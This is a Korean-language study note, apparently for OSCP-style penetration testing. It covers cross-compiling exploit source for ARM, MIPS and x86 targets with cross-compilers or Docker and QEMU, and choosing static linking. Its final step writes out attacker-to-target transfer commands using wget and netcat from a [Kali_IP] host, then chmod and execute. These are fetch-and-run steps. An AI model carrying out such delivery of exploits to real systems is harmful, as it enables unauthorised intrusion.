크로스 컴파일

개념

크로스컴파일이란 현재 내 머신(Host) 과 다른 아키텍처/OS를 위한 바이너리를 컴파일하는 것.

[내 Kali - x86_64] ──컴파일──▶ [바이너리] ──전송──▶ [타겟 - ARM32/MIPS 등]

Step 1. 타겟 아키텍처 정보 수집

타겟에서 실행 가능한 명령어들:

uname -m          # 아키텍처 (x86_64, armv7l, aarch64, mips 등)
uname -r          # 커널 버전
uname -a          # 전체 정보
file /bin/ls      # ELF 형식으로 아키텍처 직접 확인 (가장 정확)
cat /etc/os-release  # OS 버전
ldd --version     # glibc 버전 (중요!)

file /bin/ls 출력 예시 해석:

/bin/ls: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV),
         dynamically linked, interpreter /lib/ld-linux-armhf.so.3
         ──────  ────────────────────────────────────────────────
         32bit      ARM → armhf 크로스컴파일러 필요

Step 2. 아키텍처별 크로스컴파일러 매핑

uname -m 결과file 결과크로스컴파일러 이름트리플렛
x86_6464-bit x86(일반 gcc)x86_64-linux-gnu
i68632-bit x86gcc-multilibi686-linux-gnu
armv7lARM 32-bit hard-floatgcc-arm-linux-gnueabihfarm-linux-gnueabihf
armv7lARM 32-bit soft-floatgcc-arm-linux-gnueabiarm-linux-gnueabi
aarch64ARM 64-bitgcc-aarch64-linux-gnuaarch64-linux-gnu
mipsMIPS 32-bitgcc-mips-linux-gnumips-linux-gnu
mipselMIPS LEgcc-mipsel-linux-gnumipsel-linux-gnu

Step 3-A. 방법 1 — Kali에서 직접 크로스컴파일

  • 동일한 Linux 계열이고 glibc 버전 차이가 크지 않을 때 유효.
# 크로스컴파일러 설치 (예: ARM 32-bit)
sudo apt install gcc-arm-linux-gnueabihf
 
# 컴파일
arm-linux-gnueabihf-gcc exploit.c -o exploit
 
# 확인
file exploit
# → ELF 32-bit LSB executable, ARM ...  ✓

x86_64 → x86 32bit (흔한 케이스):

sudo apt install gcc-multilib
gcc -m32 exploit.c -o exploit32
file exploit32
# → ELF 32-bit LSB executable, Intel 80386 ...

Step 3-B. 방법 2 — Docker로 동일 환경 구성

  • 타겟과 OS 버전, glibc 버전까지 맞춰야 할 때 사용

도커 이미지 Docker Hub에서 검색:

타겟 OS 정보 (cat /etc/os-release) 기반으로 선택

Ubuntu 20.04  → ubuntu:20.04
Ubuntu 18.04  → ubuntu:18.04
Debian 10     → debian:buster
Debian 9      → debian:stretch
Alpine        → alpine:3.x

아키텍처가 다를 경우 이미지 앞에 플랫폼 prefix:

ARM 32-bit  → arm32v7/ubuntu:20.04
ARM 64-bit  → arm64v8/ubuntu:20.04
MIPS        → (공식 지원 적음, 아래 방법 사용)

Docker Hub에서 직접 확인:

# CLI로 태그 검색
docker search ubuntu
docker pull arm32v7/ubuntu:20.04
 
# 또는 브라우저에서
# https://hub.docker.com/r/arm32v7/ubuntu/tags

Docker 크로스컴파일:

# 1. QEMU 설치 (다른 아키텍처 에뮬레이션에 필요)
sudo apt install qemu-user-static binfmt-support
sudo update-binfmts --enable qemu-arm
 
# 2. 멀티 아키텍처 지원 등록
docker run --rm --privileged multiarch/qemu-user-static --reset -p yes
 
# 3. 타겟 환경과 동일한 이미지 pull (예: ARM Ubuntu 20.04)
docker pull arm32v7/ubuntu:20.04
 
# 4. 컨테이너 실행 + 소스코드 마운트
docker run --rm -it \
  -v $(pwd):/work \          # 현재 디렉토리를 /work로 마운트
  arm32v7/ubuntu:20.04 \
  bash
 
# 5. 컨테이너 내부에서
apt update && apt install -y gcc
cd /work
gcc exploit.c -o exploit_arm
exit
 
# 6. 컨테이너 밖에서 확인
file exploit_arm
# → ELF 32-bit LSB executable, ARM ...  ✓

Step 4. Static vs Dynamic 링킹 선택

Dynamic (기본)Static
파일 크기작음큼 (수 MB)
타겟 의존성glibc 버전 일치 필요없음 (완전 독립)
권장 상황환경이 동일할 때버전 불일치 우려될 때
# Static 컴파일 (타겟 glibc 버전 걱정 없음 - OSCP에서 안전한 선택)
gcc -static exploit.c -o exploit_static
 
# 크로스컴파일러로 static
arm-linux-gnueabihf-gcc -static exploit.c -o exploit_arm_static

Step 5. 파일 전송

# HTTP 서버로 전송
python3 -m http.server 8080
# 타겟에서: wget http://[Kali_IP]:8080/exploit
 
# SCP (SSH 있을 때)
scp exploit user@target:/tmp/exploit
 
# Netcat
# 공격자: nc -lvp 4444 < exploit
# 타겟:   nc [Kali_IP] 4444 > exploit && chmod +x exploit

전체 플로우 요약

1. 타겟에서 정보 수집
   └─ file /bin/ls, uname -m, uname -r, ldd --version

2. 아키텍처 판단
   ├─ x86 32/64   → gcc -m32 or 일반 gcc
   ├─ ARM 32bit   → arm-linux-gnueabihf-gcc
   ├─ ARM 64bit   → aarch64-linux-gnu-gcc
   └─ MIPS        → mips-linux-gnu-gcc (or Docker)

3. 컴파일 방법 선택
   ├─ 빠른 방법   → Kali에서 크로스컴파일러로 직접
   └─ 정확한 방법 → Docker로 동일 OS 환경 구성

4. Static 링킹 권장 (-static)
   └─ glibc 버전 차이로 인한 오류 방지

5. 전송 → chmod +x → 실행